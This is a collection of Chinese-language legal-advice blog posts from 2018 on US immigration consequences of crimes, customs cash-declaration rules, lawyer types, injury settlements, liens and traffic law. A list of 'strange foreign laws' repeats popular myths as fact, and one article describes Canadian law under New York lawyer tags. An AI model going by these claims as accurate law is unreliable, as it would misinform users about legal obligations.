在美国以外的财产(第三国财产)可以分两种情况:如果财产产生收入,根据美国法律规定,绿卡或公民必须申报全球的收入,这部分财产可以从退税表上看出来。如果第三国财产不产生收入,就比较麻烦一些。整个离婚财产分割过程可以请调查员、律师协助。根据个人情况,具体还有很多问题,详细的请咨询律师。

美国法律

●问:家庭暴力被报案,会对自己在美国的居留身份有什么影响?

李律师:如果永久居民有犯罪行为,可能会导致绿卡丢失,因为犯罪被捕时会打指纹做背景调查,移民与海关执法局(ICE)会获得这些信息,如果是犯罪属于可递解出境的,当刑事指控结束以后,ICE就会来进行移民法方面的执法。而且,移民法与州法有很大的不同,有些罪名在州法中不属于重罪,但在移民法中却是重罪,属于可以递解出境的犯罪。比较常见的会递解出境的刑事犯罪包括毒品犯罪、打架(包括和家人和朋友打架),也包括家庭暴力。

家庭暴力是否会被递解出境,要看面临的是什么样的指控。如果绿卡持有人遇到刑事指控,或者是家庭暴力方面的指控,最好请一名移民律师共同参与,移民律师可以和刑事律师一起,分析指控或认罪协议可能对身份产生的影响。

申请I-130

●问:在家管教孩子,但被学校作为家庭暴力举报,对身份有何影响?

李律师:美国对儿童的保护是非常严格的,纽约州和新泽西州尤其如此。如果有虐待儿童的情况,警察知道了以后,儿童保护机构的社工就会来调查,并可能把孩子带走,或者要求父母离开。在调查的时候,调查员会倚重儿童的说法,父母很难争辩。有的时候,调查会因为很小的事情就启动,比如有一个亚裔儿童看到父母在圣诞期间打架,上学的时候很不高兴,老师看到他不高兴,问他:“你今天不高兴,发生了什么事情?”孩子回答说:“我今天不开心。”然后社工就会来调查。调查以后,如果不是很严重,案件就会解除然后封档,在新泽西没有法庭命令任何人都无法看到(包括律师),如果案件启动了,就说明比较严重,就要上法庭。

在新泽西,调查过程中律师通常很难介入。但有一种例外,我的一个亚裔客户,调查时人在国外,请我代理,所以在调查时我就介入了,成功解除了这个案件。在纽约,如果出现配偶受虐待或儿童保护调查,律师可以积极参与。很多华人的孩子是自己在美国读书,住在学校或者寄宿家庭,如果遇到这方面的问题,华人家长可以请律师代理。

注1: I-751取消绿卡条件申请表
注2: I-360受虐绿卡申请表

文章来源:大纪元

 

2018-11-12 / by / in , , , ,
携带现金出入境美国 你需要了解的几件事

携带现金出入境美国 你需要了解的几件事/入境美国/出入境/现金

目前正值暑期旅游季节,又有大批中国人入境美国旅游或游学。而中国游客因携带现金未如实申报,被没收或被罚款的事情时有发生。虽然美国出入境携带现金的相关规定早已出台,但为了帮助各国民众了解出入境美国携带现金规则,美国海关及边境保卫局(CBP)最近又再次发布公告,希望能广而告之。

大多数中国游客和留学生都知道,若携带的金额超过1万美元,入境时须向美国海关申报,如果蓄意不申报被发现将全数没收。一些人为了多携带现金而又想避免申报,就“灵机一动”,想出一家人或熟人、朋友一起赴美,把几万美元分开携带,每个人都没有超过1万美元上限,以为这样就可以不用申报。殊不知,这种做法是相当危险的。

未解释随身现金用途 3万美元遭没收

美国中文媒体报导,今年6月,从中国大陆赴美旅游的洪先生一家因未解释随身现金用途,在海关被没收3万元美元。

洪先生此次和父亲、哥哥赴美旅游,在西雅图入关,三人身上共带了3万多美元现金,因知道入境美国需要诚实申报,所以飞机上填写申报单时,在“是否携带超过1万美元”上打了勾。

他说,哥哥第一个排队并顺利出关,他和父亲二人则是一起入关面谈。当海关官员询问携带金额时,父亲解释, 三个人是平均一人带了1万美元。但是这时哥哥已经出关,海关人员搜查包裹时却发现了3万美元。2人3万美元,于是最终被美国海关认为“不诚实”,3万美元被没收。

几年前,也有一户华人四口之家返美时,为规避这个规定,刻意安排成每人携带7000美元进关。但被海关人员识破是一家人,以一家人入关只要携带超过1万美元就须申报,但未申报,结果现金被没收。

CBP关于出入境携带现金的规定

最近,CBP在其网站再次更新关于出入境美国携带现金的规定。CBP信息显示,出入境美国携带现金和支票数额无上限;个人或数人一起旅行,如果在海关6059-B表格联合声明携带现金或支票超过1万美元,就需要申报并填写国际金融票据流通申报表(FinCEN105)。

CBP强调的是,当多人/团队一起出入境时,所有成员携带的现金/支票总额如果超过1万美元,则需要申报并填写FinCEN105表格,不允许把现金分配到到每个人,以降低各人携带金额,逃避申报。

CBP还举例说,如果一个人携带5,000美元现金,另一名同行者携带6,000美元,总共有11,000美元,就必须申报且填写FinCEN105。如果个人或家庭携带金额超过1万美元但并未申报,不仅可能面临全额没收等处罚,还可能面临民事或刑事起诉。

网络上还流传这样一个案例,曾有华资公司老板带员工拿着收账款从中南美洲返美,老板身上带9000美元,员工带7000美元。由于两人进关时一路说话看来熟稔,且老板先被抽检发现携带大批美元,导致海关人员对随行员工也起疑,并在其身上发现7000元后,认定他们是同户,须依法申报。

现金不仅仅指美元

根据美国海关规定,另一点需要注意的是,现金包括所有类别的货币,不仅仅指美元,只要随身携带的包括美元和其它货币的总额超过1万美元数额,就须申报。当事人携带的旅行支票、现金支票及别人开的个人支票,也都须算在1万美元内。

在填申报表格前,最好把身上携带的各类货币根据美元兑换率计算一下。

美国海关及边境局官员、律师均表示,出入境美国,在海关人员询问时,只要如实申报,诚实回答携带现金要用在什么地方,给出合理解释就可以。

同时,CBP网站还表示,携带现金出入境美国,不需要纳税。

未申报被发现怎么办

海关官员表示,出入境未依法申报1万以上美元被发现,海关人员若认为对方并非蓄意隐瞒,会给申报弥补机会。但若对方一开始就撒谎,且情节严重,海关人员可能将钱全数没收。

纽约资深刑事律师保尔‧高伯格(Paul A. Goldberger)表示,如果没有申报的钱被收缴了,当事人只要证明钱的来源是合法的,通常可以在律师的帮助下把钱要回来,只是可能要交罚款。

在证明钱来源合法后,大多以扣留全款的20%做为保管费结案,少数扣留10%做保管费。

美国海关官员强调,申报不代表缴税,只是在预防不法份子洗钱。若从海外带进大笔钱,除入关时依法申报,最好也携带证明这些钱是合法来源的文件,如卖屋文件等,以备万一。

离开美国的情况

美国海关规定,旅客携带现钞超过1万美元出入境,必须进行申报。但由于出境的报关程序较入境轻松,导致许多华人误以为没有规定。

出境时不需要填写任何表格进行出关的申报,因此许多民众缺乏了解。有律师表示,出境美国携带现金超过1万,也必须申报。只不过,民众在出境时不会被硬性要求填写申报表,而是会有海关执法人员及移民与海关执法局人员进行随机抽查,在登机处将人拦住,要求填报所携带出境的现金情况。

今年中国新年期间,芝加哥一名华人女子从芝加哥机场出境,搭机回广州探亲,因携带大量现金未申报,被警犬嗅出而遭查获。目前该名女子不仅在接受调查,身上大部分现金也遭没收。

文章來源:大紀元

2018-11-12 / by / in , ,
官司来了,找什么律师?

诉讼律师/律師 紐約/刑事律师/民事律师/家庭法律师/紐約 意外 律師/紐約 商業 律師/New York律師/Flushing律師

前段时间曾经帮助律师接听咨询电话,发现不少来电的客户对于“什么官司找什么律师”这样的基本概念还不甚清楚。也难怪,加拿大的律师分类就像星巴克的咖啡一样,如果不了解一定的法律知识,就只能凭著大感觉在菜单上随意指点。


Flushing律師


案件越复杂,涉及的金额越高,越是需要有专长的律师。 律师们又可分为两个大类:

一类是我们通常认为的在法庭上义正言辞、指点江山的,这类是诉讼律师(Litigation Lawyer), 比如刑事律师,他/她们多数时候活跃在法庭上;诉讼类的民事(Civil Litigation)律师,并不经常出现在庭审上,但是可能上庭参与动议(Motion),更多的功夫花在庭外调查和案件和解上(Settlement);家庭法诉讼律师,情况和民事诉讼类似。


而另一类是办公桌律师(Transactional lawyer),顾名思义,你在法庭上见不到他们,他们多数时间坐在办公桌的电脑前,为客户进行地产和生意交易,帮助客户成立公司,撰写或审查商业合同。地产买卖律师,公司法律师都是这一类别。


New York律師

当然,诉讼类律师行也可以经办很多非诉讼类业务,毕竟未雨绸缪总比亡羊补牢要省钱省心。 比如民事诉讼前的交涉,促成纠纷的解决。比如撰写遗嘱。比如家庭法律师帮助起草结婚,同居,离婚协议。


另外,律师本人,或综合性的律师行也可以兼顾诉讼类及非诉讼类业务。

下面特别介绍一下不同种类诉讼律师的具体业务范畴:

律師 紐約


1. 刑事律师

虽然这个事实让一些小朋友很掉下巴,但是刑事律师的确是保护所谓的“罪犯”的。加拿大的人权宪章规定,被警方指控的所有嫌疑人都有使用律师的权益;而且,在被定罪之前,所有的嫌疑人都被视做无辜。所以,如果您不幸成为刑事犯罪的受害者,一般说来,刑事律师并不能为您服务。您需要去警方报警,由警方调查后视情况对嫌疑人发起指控。不过如果警察不予立案,而你自己又坚持认为对方的行为构成刑事伤害,你可以到所在地区的法庭找到治安官Justice of the Peace,跟他讲明原因,并宣誓你认为某人的行为违反了刑法了,治安官可能会酌情决定是否起诉。负责惩处刑事犯罪行为的机构是政府,个人不能对他人发起刑事指控。 有关更多“如何提起刑事指控”,请参考资深刑事律师助理Yini的博客刑法纵横


纽约离婚律师

加拿大刑法典中规定的最常见罪行: 谋杀、杀人、毒品犯罪(毒品走私,非法大麻种植)、抢劫、枪械犯罪、性侵犯、家暴、犯罪集团、醉酒驾车、盗窃、诈骗/经济类犯罪,刑事骚扰(较新但越来越常见的犯罪)。


需要注意的是,某些行为可能处在刑事犯罪和民事侵权的模糊边界(书面诽谤诋毁)。或者,既是刑事犯罪,也是民事侵权。比如,两人打架,A将B打伤,A即触犯了刑法,也构成了民事侵权伤害。但是,警方只能负责指控A,并通过刑事司法程式对其进行审判和量刑(包括罚款,坐牢,缓刑监外执行等)。但是,如果B想从A处获得医药费、误工费、精神损失赔偿,则需要通过民事诉讼Civil Litigation获得,由民事律师为您服务。

家庭法律师


2. 民事律师

民事诉讼类律师中有很大一部分属于商业诉讼Commercial litigation,解决生意合同纠纷,客户中很大一部分是公司。

涉及的领域包括:

  • Transactions of Business, Shares or Real Estate 生意交易,股权,地产
  • Commercial Disputes 商业纠纷
  • Breach of Contract Claims 合同违约
  • Breakdown of Businesses, Partnership Disputes,Limited Partnerships Disputes, Joint Venture Disputes 公司解体,合伙人纠纷,有限合伙人纠纷,合资企业纠纷
  • Buy-Sell Agreement Disputes 买卖合同纠纷
  • Commercial Lease Disputes 商业租赁纠纷
  • Construction Litigation and Constructions Liens 建筑,施工,施工留置权纠纷
  • Debt Collection 收债
  • Ontario New Home Warranty Plan (TARION)Disputes 安省新居保障计划纠纷
  • Fraudulent and Passing Off Claims, Trademark Applications 诈骗,商标盗用
  • Property Litigation 地产诉讼
  • Real Estate and Mortgage Disputes 地产和按揭纠纷
  • Recovery of Personal Property 恢复个人财物
  • Shareholder Disputes 股东纠纷

另一类就是私人间的民事诉讼 Civil Litigation。 律师最常受理的民事类案件包括: 人身伤害(Personal injury)、车祸、医疗事故、滑倒、宠物咬伤他人……由于人身伤害的被告方往往最终落到“保险公司”头上,因此获得赔偿的可能性和赔偿数量都会相当可观,Personal injury因此成为律师行执业的一大热门。许多 Boutique law firm专门为遭遇人身伤害的原告打官司, 其后还有诸多专业医生诊所作为支持。而保险公司也集结精良法律团队,积极辩护。


另外,还有一系列民事法律法规界定的纠纷,包括:

  • property line, easement or other real property disputes 地产,地边界纠纷
  • lien disputes 留置权(lien)纠纷
  • real estate transactions and disputes地产交易和纠纷
  • estates and wills 遗产和遗嘱
  • collections 收债
  • mortgage dispute 按揭纠纷
  • landlord and tenant 房东房客纠纷
  • employment and wrongful dismissal雇佣纠纷,非法解雇



3. 家庭法律师

Simple Divorce 简单离婚/Separation Agreements 分居协议 / Marriage Contracts 结婚协议 / Cohabitation Agreements同居协议/Child and Spousal Support 子女和配偶赡养 / Custody and Access 抚养和探视权/Property Division 财产分割/Structuring business in light of Family Law issues 涉及到家庭法的公司结构/Legal issues surrounding heterosexual and same-sex relationships 同性别婚姻和关系/Common-law relationships 事实婚姻/Child Protection (Children’s Aid Society proceedings) 儿童保护(儿童保护协会 法律程式)/Collaborative Law and Collaborative Practice – Family Mediation and Family Arbitration 家庭法调节和仲裁/Family Court Proceedings 家庭法法庭程式 / Adoptions 子女收养

文章來源:大紀元

2018-11-12 / by / in , , , , , ,
酒后驾车被抓,会马上面临被遣返的问题吗?

问:来美国的华人移民很多,如果有华人移民酒后驾车被抓到,会马上面临被遣返的问题吗?


答:不仅是华人社区,整个美国都在关注这个问题。现在的总统川普,对于移民执法的尺度非常严。一个人如果犯了罪,那么根据美国移民法,这个人是可以被遣返出境的。有多严重呢?会严重到非常可怕的地步。

举一个案例,最近美国的主流社会关注一个案例,主角是密歇根州的一个医生,他5岁时合法移民来美国,当时就已经有了绿卡。他从幼稚园一直上到医学院、然后成为住院医生,现在是一名执照医生,他是一个很成功的人士。但他是绿卡。现在他被移民局抓了起来,要把他给遣返。你想想,他1979年来美国,将近39年前来美国,当初才5岁,你把他遣返到波兰,他可能波兰话讲的都不好了。

为什么他会被遣返?1992年,在这位医生17岁、尚未成年的时候,曾犯了2个小错误。一个是破坏别人财物,另一个是偷窃别人财物,100美元不到,而且当时法官并没有判他刑。然而,如今移民局把他抓起来,这个人是1万块取保候审。

回到刚才的问题,一个人酒驾被抓。移民局是属于美国国土安全部下面的执法单位,对于他们来讲,要抓一个人最简单的方法,就是去刑事法庭里,看刑事法庭记录,指模一对,就可以了。当你从JFK机场进来,或者哪个机场进来美国,哪怕你是旅游签证,你都打了一个指模;拿这个指模和警察局的指模一对照,就知道这个人不是美国公民,那么ICE就会去刑事法庭,把这个人抓起来。

像是开车没买保险,也在这个范围之内。因为美国移民法对于“谁是可遣返、不可遣返”,它的规定非常宽,叫做“道德堕落罪”(moral turpitude)。也就是说,一个人只要不是社区标准,就算属于“moral turpitude”,比如被警察抓起来,被检察官在刑事法庭诉讼,我觉得这可以算是“moral turpitude”。因此这个要非常注意。

当发生这种情况时,应该第一时间联系律师,刑事案件的处理要特别小心。纽约州刑事法是允许一部分刑事嫌疑人不去法庭的,在这种情况下,如果让律师带你去法庭,同时移民身份方面,如果能够改进,就不会马上被遣返。因为一旦抓住,就会送到移民监狱。

2018-11-11 / by / in
忘记妻子生日是违法的!盘点各国特殊法规

以下是某些国家所设定的法规,这些规定有些看来离奇但仍被当地居民给遵从,快看清楚这些国家有哪些规定,那么在出国旅游时才不会傻傻犯错丢了脸!


 

1、法国:车站不能随意接吻

在车站、机场等交通枢纽地经常上演的戏码不外乎是重逢和离别,这都是让人克制不住情绪的时刻,因此在这些地方常可看到相爱的两个人忍不住拥抱、接吻的画面,但你知道吗?

在以浪漫著称的法国在火车站接吻居然是违法的!这条法律最早出现在1910年,当时火车经常被不想分开的情侣延迟,因此当局禁止在站台上接吻,但设有特别的〝接吻区〞,情侣们可以在这里尽情的接吻。

2、意大利:不准喂食鸽子

在很多广场常可以看到民众拿着面包屑来喂鸽子,但这个举动在威尼斯却违法,会被处以罚款,因为当局不希望鸽子等鸟类弄脏了美丽的雕像和纪念碑。

 

3、意大利:每天遛狗必须超过三次

意大利可能是狗狗的天堂,因为在都灵市如果连续三天不遛狗将被处以最高达650美元的罚款,这也不算最严苛的,因为在蒙贝洛迪托里诺镇,每天遛狗不超过三次就算你违法!

 

4、英国:圣诞节不能吃饼干

这有些诡异啦!在我们的认知中,圣诞节不就是吃着饼干和热牛奶和家人团聚的时候吗?然而在1644年的英国却非如此,尽管现在的圣诞节是个亲友团聚的节日,但当时的英国领袖克伦威却不这么认为,他强调圣诞节是〝不道德的〞,因此下令了关于圣诞节的一些禁忌,例如在圣诞节当天不能吃甜面包和饼干。奇怪的是,目前还没有废除克伦威尔的法令,所以每个英国人在圣诞节吃饼干的时候其实都犯了罪,只是没人追究而已。

5、英国:不能随便抚摸鲸鱼与海豚

在英国方圆300英里范围的所有鲸鱼、海豚等海洋哺乳动物都被视为是英国皇室的资产,所以民众不可以任意抚摸牠们!

6、美国:禁止巧克力出奇蛋

小朋友都好喜欢的巧克力出奇蛋从上市起就禁止在美国食用,因为根据美国的法律,禁止将玩具放入食物中,以免儿童被小零件窒息。在2013年,终于在美国的货架上看到了这些巧克力蛋,当局的条件是里面必须是由一个零件制成的大玩具。

 

 

7、加拿大:不能随便使用硬币

在加拿大,你不能随便用硬币来买东西,1985年的一项法律规定只有在购买超过10加元的东西时才能用硬币付款。

8、萨摩亚:忘记妻子的生日是违法的

哈,这个规定很奇妙吧!萨摩亚是太平洋岛屿上的一个独立国家,一向以奇葩的法律而闻名,其中一条规定丈夫不能忘记妻子的生日。一旦发生,这个男人将被罚款,钱则交给妻子。

9、日本:不能露出刺青

大多数日本人都没有刺青,即使在今天,刺青仍被看做是犯罪集团的属性,虽然没有法律禁止刺青,但是一些酒店、健身房、公共浴室或温泉不允许有刺青的顾客进入。

10、泰国:不能踩踏钱币

在泰国走路一定要注意自己的脚步,因为踩到刻着庄严的泰国公民肖像的硬币或钞票上是违法的。

──转自《看中国》

2018-11-11 / by / in
老人及儿童遭遇意外伤害 解决流程有不同

如果老年人或儿童遭遇意外伤害诉讼,那么他们的案件会与一般成人案例有些程序上的差异。大多数意外伤害的受害人年龄介于18至65岁之间。一般来讲,成人案件在经过双边协商、签署赔偿协议,收到保险公司的赔偿金之后就结束了。但是当涉及到未成年人或老年人,需要增加一些额外的程序,即使原告与被告已经达成协议。

比如未成年人的案例中,父母或亲属以诉讼人的监护人身份介入。如果监护人涉及诉讼,大部分工作是正式程序方面的,但诉讼焦点仍然是未成年人的意外伤害。此外,当未成年人的案件在结束协议后,会被要求取得法院许可,这也是一项附加程序。所以由监护人、亲属或接收父母同意对未成年人的补偿金额、签署协议后,他们必须取得法院的未成年人士协定(infant’s compromise order)。

该协定鉴于未成年人在年少的时候就获得一大笔钱,可能带来的副效益;从而相关法律规定,未成年人在年满18岁之前,不能合法取得补偿金。而未成年人士协定则由法院授权,在法官审查双方律师提供的证据,以及确定赔偿金额无误后,签发的合法协定。之后,赔偿金将一直保存在储蓄银行,直至未成年人年满18岁后才开始支付给他/她。虽然这一程序不同,但它很有用。

老人儿童

如果原告超过65岁,他们需要红蓝卡(Medicare)的许可,才能终止案件。过去几年因受经济衰退的影响,政府的财政赤字升高,支付红蓝卡的医疗开支也成为一种负担。从去年开始,这项法律可以减轻一些负担。法律规定,只有红蓝卡能够在医疗诉讼开始前、支付当事人的医疗账单。一旦达成和解,红蓝卡将计算,他们已经为你支付了多少金额,这笔金额需要从你的协议金额中扣除。因此,如果你是红蓝卡受益人,你必须把这份通知转给你的律师。律师将依据法律做工作,而当事人也需要在协议结束后、等待更长时间才能拿到赔偿金。这些程序都会由律师来完成,但是如果当事人了解这些程序,会对整个赔偿过程更能理解。

文章來源:大紀元

2018-11-10 / by / in
谁能发现和认定医疗事故

谁能发现和认定医疗事故

拥有丰富医疗事故诉讼经验的Jonathan C. Reiter律师认为,“医疗事故是严重的,一旦出错可能会导致你未来生活受限。当你寻求医生或医疗专业人士的治疗时,你接受的护理应当有特定的标准。如果你在治疗过程中受伤,而医生选择的治疗方式偏离了公认的标准医疗服务,你可能是医疗事故的受害者。你可以找律师来帮你获得必要赔偿。”

谁能发现医疗事故

医疗事故(英语:medical malpractice),泛指医院与医疗从业人员,在对病患提供医疗服务时,出现不当或怠忽的专业医疗行为过失,导致病患受伤、残废、死亡。
根据美国律师协会,医生、护士、牙医、技师、医院及其工作人员(医护人员)都可能发生医疗事故。每天医生都需要做出医疗决定,有时还需要迅速做出重要决定。什么时候医生的行为会被认为是医疗事故?你也许好奇,我们普通人又不是医学(专业),怎么知道医生们有没有按照公认的标准提供医疗服务。


Reiter律师介绍:“或许患者不清楚,但是其他医生或医疗专家可能会发现是否存在行动疏忽。一旦证实医护人员给患者提供的医疗服务存有过失,那么他可能被控医疗事故。”

纽约外科医生

谁能认定医疗事故

医疗事故的认定通常是由陪审团来决定。在医疗纠纷案件中,陪审团将从双方的(专家)证人和文件上学习和了解病患的病情,以及患者获得的治疗知识之后,再做判断。

陪审团被要求裁断最终的问题:在诊断一个治疗过程中受伤的病患时,主治医生是否有偏离公认的标准?这种偏离是否是造成病患最终伤害的重要原因?如果陪审团决定可能“是”的时候,医生/医务人员或医院可能被责令支付赔偿金,赔偿病患遭受的伤害、痛苦,以及因为伤痛造成的收入和生活损失。

文章來源:大紀元

2018-11-10 / by / in , , , , ,
美国交通事故中常见的五种留置权

美国交通事故中常见的五种留置权

当案件结案时,通常有一方会获得赔偿,在扣除诉讼费用和律师费之后剩下的都归他所有。但有时候即使案件结束,并不意味着一切都结束了。如果案件存在留置权(法律索赔),那么律师不得不多加注意,因为留置权往往会使客户更难获得赔偿。下面介绍交通事故中常见的五种留置权。


红蓝卡留置权

第一,红蓝卡留置权

比如,如果持有红蓝卡的人士出现交通事故、想要获得赔偿的话,他们必须通知红蓝卡的秘书处(Medicare secretariat),要求对车祸索赔。
随后红蓝卡的秘书处会进行调查,并考虑是否支付该客户的(车祸)医疗费以及交通事故的赔偿。
如果客户发生交通事故后,有请律师进行处理。那么客户必须告知律师自己持有红蓝卡,这样律师会帮助直接联系红蓝卡的秘书处,要求在案子结束时(帮客户)进行索赔和结算。

接下来,红蓝卡会考虑和计算,这起交通事故共花费多少医疗费以及赔偿金等。律师收到后,将一一审查红蓝卡提供的通知(医疗费支出),并且检查医保索赔是否正确。

如果医疗费开支中有与车祸不相关的,律师楼可以提出异议。例如,有一次朴律师接到一位客户的红蓝卡事故结算通知,需要支付20万的交通事故医疗费。朴律师接到通知后,进行审核,发现这些费用中几乎没有与汽车事故后续治疗有实质相关性的部分,于是提出质疑后,最后红蓝卡将索赔金额降至一个很低的额度。

医疗费用的留置权

第二,医疗费用的留置权

按规定,在车祸发生之后,医院、医生和MRI中心的医疗治疗费用将由汽车保险公司支付。但是某些特殊情况下,汽车保险的医疗费限额远远不够支付,甚至有可能保险公司拒绝支付某些特定的治疗项目。

这个时候,请一定要注意。如果汽车保险公司不想支付医疗费用,医院会要求患者签署文件。要知道,一旦患者签署之后,患者将自己承担医疗费用的责任。
所以,请不要轻易签署文件,要知道签字之前最好跟律师商议。如果保险公司不愿支付的话,客户可以自行先支付手术,随后将医疗费用从补偿中扣除。

纽约买房

第三,有按揭贷款留置权

我们律师楼不建议客户拿抵押贷款作为留置权追索,但有时客户却只能拿到它作为赔偿。如果你得到这种类型的资金,本金和利息将从你的赔偿金中支付,相当于减少你最终能拿到的最终金额。所以,我们认定它不是一个好的办法。

第四,白卡的留置权

白卡是一种政府保险,它跟交通事故挂上钩时,就跟红蓝卡的处理非常相似,持卡人可以要求收到一些医疗费用的赔偿金。此外,红蓝卡持有人有权要求红蓝卡机构在界定为交通事故之前就支付医疗费用。

第五,商业事故留置权

如果医疗费用低于5万美元,结束时就不存在留置权,存在留置权问题的通常发生在客户仍在工作的情况。因此,留置权必须从交通事故赔偿中获赔。不管怎样,要尽量减少留置权。

如你所知,还有其它类型的留置权,这里不再一一赘述。请记住,如果接到车祸赔偿时有留置权,请与律师讨论并解决有关留置权的问题。

◆ 朴·安德鲁(Andrew Park)是韩裔资深交通意外伤害专业律师,雪城大学法学院毕业,持有纽约和新泽西州律师资格执照。1997年开始涉足意外伤害法律案件,2003年创建Andrew Park法律事务所,处理过2千多意外伤害案件,有着丰富的交通意外案件处理经验。在纽约交通意外伤害律师中,朴律师索赔成功率排名第二。他致力于帮助少数移民,为客户赢取最大的利益,律师楼有华人助理。

文章來源:大紀元

2018-11-10 / by / in , , , , , , , , , ,
交通事故可以在达成协议后重启诉讼吗?

交通事故可以在达成协议后重启诉讼吗?

有时候会接到交通事故受害人的电话,他们在达成协议后,仍拟起诉对方造成的伤害和损失。律师回答:有可能取消协议,继续进行诉讼。

作为交通事故意外伤害的资深律师,我想说,如果当事人已经签署协议,而且递送给了对方的律师和保险公司,那就算案件结束,不太可能再次打破协议。但如果只是一开始协商,当事人不愿意签署,或者过程中你改变主意,这都可以理解,但签完后、又改变主意,这样可不是很好。

但也有能够打破协议的例外情况,比如:如果原告没有律师,他/她本人不清楚自己的案子情况。在这种情况,原告同意了协议,那么他是有可能打破协议的。

举个例子,曾有一名客户来我们律师楼,他出车祸,对方保险公司希望300美元和解,然后他同意了,之后却发现身体越来越难受。签署协议时,客户没有律师,他也不清楚自己的受伤情况,甚至不知道保险公司的协议书讲了些什么。鉴于客户是在这种情况下同意的协议,我们认为协议应当无效。之后,我们提起这起车祸诉讼,诉请法院取消该客户的300美元和解协议。最后,法官接受了我们的提议,取消了协议。我们跟进此案件,最后帮客户拿到合理的赔偿金。

在交通事故受害人雇用律师之前,保险公司到受害人的家里拜访,他们提出小额补偿,希望原告同意。也许他们只给出$300,然后拿到了原告的同意,这个就算达成协议。

如果有律师在场、客户签署协议,那么案子就结束了。但是如果案件没有律师,而客户又不清楚案子情况,就签署协议,那协议是有可能被取消的。同一个案子,不同的结果,差异就在于有无律师介入。有些情况下,我们可以帮当事人提起诉讼,取消签署的和解协议。

常见的交通事故和解流程

案子开启,首先,对方的保险公司会对原告所说的进行调查。保险公司以及其代理律师在收到原告的体检报告后,也会直接与原告见面,对原告所说的展开提问。为了日后的协商,对方的保险律师也会询问原告想要的条件。

之后,保险公司会在指定的医生对原告进行检查、评估身体损害后,提出和解金额。如果原告同意这个和解金额,就可以签署同意书,由原告律师递送给对方的保险公司,这样案子就算完结。事后保险公司必须通过原告律师,结算和解金额、交给原告。

如果保险公司提出的和解协议不是原告想要的,协议可以被否,原告律师可以继续提诉讼,要求更多赔偿。当然,即使案件继续往前,比较常见的情况是判决无条件和解。

总之,是否达成协议,是由原告说了算。原告律师是帮助原告跟保险公司协商以及提建议。少数情况下,在对方保险公司递送和解协议,原告律师也已签署协议,突然原告改变主意,希望取消协议。如果原告的第一位代理律师不想这么做,那么当事人只有考虑换律师。

交通事故

◆朴·安德鲁(Andrew Park)是韩裔资深交通意外伤害专业律师,雪城大学法学院毕业,持有纽约和新泽西州律师资格执照。1997年开始涉足意外伤害法律案件,2003年创建Andrew Park法律事务所,处理过2千多例意外伤害案件,有着丰富的交通意外案件处理经验。在纽约交通意外伤害律师中,朴律师索赔成功率排名第二。他致力于帮助少数族裔,为客户赢取最大的利益,律师楼有华人助理。

文章來源:大紀元

2018-11-10 / by / in , , , , , , , ,
移民美国这八大交通法律一定要牢记!

美国房地产行业的大热,让越来越多的华人去美国置业移居,但是由于中美两国间的文化、环境、经济方面的差异,导致两国的交通法律也有很大的不同,那在美国我们需要遵守哪些交通法律,注意哪些交通问题呢?

1.我有中国驾照执照,可以在美国开车吗?

依照国际公约,中国驾驶执照人员如过境美国可以使用中国执照在美国驾车旅游,但是每个州规定不同,在加州,如果在加州居住超过30天,需向加州汽车管理局(DMV)申请加州的执照。留学生经常出现的问题是在加州居住超过三十天仍使用中国执照, 另外,警察未必能看懂中文字,还有许多美国警察不懂得国际法而不承认外国驾照而直接开出罚单。

律师建议:由于美国的交通规则以及路况与中国不同,许多中国游客因为不熟悉路况而发生交通意外事故,因而,留学生最好是透过考笔试及路试来了解当地的交通规则,获取到当地的驾驶执照才驾车。

2. 我购买了一辆新车,发现问题很多而想退换,可以吗?

在购买汽车方面,一旦新车开出汽车经销商的大门,这车就成为二手车,汽车经销商绝对不会接受退车的要求。另外,汽车经销商经常会用中文销售人员来谈生意,但是合同未必与销

售人员所承诺的一样,你可以要求经销商提供中文合约。购买新车最好在网上做好功课汽车贷款事先向自己的银行申请好,购车时带上在美国住得时间久的朋友前往。

3. 我驾驶汽车一定要购买汽车保险吗?

是的,加州汽车管理法规规定,所有驾车人士都必须购买赔偿对方的责任保险,最低的保额为每个赔一万五千元,整个事故赔三万元。如果警察发现驾车人士没有购买必要的汽车责任保险时可以开出罚单,法院可以罚取高达三千元的罚款,此外,如果驾车人士没有保险而被他人撞伤,无保险人士只能得到财物及医疗费赔偿而得不到精神痛苦赔偿。

邓洪律师提醒:留学生会经常遇到车祸事故,最好购买保额较高的责任保险(如三万/五万,或五万/十万),由于加州无照驾驶以及无保险驾车人士众多,最好还购买UM保险, 费用不高, 但十分实用。

4. 我被警察拦下,我觉得自己并没有错,可以在罚单上拒绝签字吗?

警察给你的并非所谓的罚单,而是一张名为“出庭通知”。在此单上签字,表示你同意在通知单上时间到指定的法庭出庭应诉而已,并非表示你认罪。如果你拒绝签字,警察可以用妨碍公务理来逮捕你。

5. 警察因为我违规而开单给我,我可以直接将罚款交给警察吗?

不行,这种做法会被误以为是贿赂警察的行为。交通罚款应该交给法院,而不是当时马上交给警察。

6. 警察给我开出罚单,但是一直没有收到法院的罚款通知,我是否可以不理?

不可以。警察给你开单时,该文件称为出庭通知,上面并没有具体的罚款数额,里面只要求你在指定的时间到法院去处理。许多法院不会再次通知驾车人士,驾车人士必须在该日期或之前亲自到法院,你可以选择直接付罚款,或要求上交通违规学校,或要求警察出庭与你当庭对质。

7 .上交通违规学校有何好处?

如果你在过去十八个月内没有上过交通违规学校,驾车人士可以要求上课来免除DMV 的点数。上交通学校有两大好处,一是加州规定驾车人士如果扣分一年内超过四分,就可以吊销驾照,二是DMV 违规分数越高,汽车保险的保费就越高。

8.我吃了交通罚单,但是通知单的出庭日期我刚要回国,该怎麽办?

你可以在回国前到法院查询,了解警察是否已将案件送到法院,如果送到,可以马上请求交付罚款或申请交通违规学校,如果要与警察当庭对质,可以请求法院延到你返美后再开庭审理。

如果短期内无法返美处理,可以委托律师来全权处理。千万不要置之不理,许多法官可以因为驾车人士不如期处理而用藐视法庭一理由发出通缉令,而影响到将来申请签证,驾照以及调整身份。

2018-11-10 / by / in , , ,
大家务必明确:在美国交通违章属于犯罪行为

美国是世界上拥有汽车最多的国家,也是汽车法规最严苛的国家之一。作为“车轮上的国家”,美国在防止交通事故方面确实积累了不少经验。美国对于违反交通规则的处罚是恩威并重,罚款与教育并行。如果是初犯,可以接受半天的安全教育,代替罚款。这种惩罚与教育并用的方法非常有效。接受了教育的违章司机大都会谨慎驾驶。但这样的机会一年只有一次,再犯就要重罚。

美国道路交通违章的处罚统一由各州、市、县法院负责执行,各地法院均设有一个民事法庭专门受理交通违章的处理。驾驶员在收到警察开具的违章罚单后,必须在21天内到法院接受处罚,如果超时,法院将通知警察局对其予以逮捕。

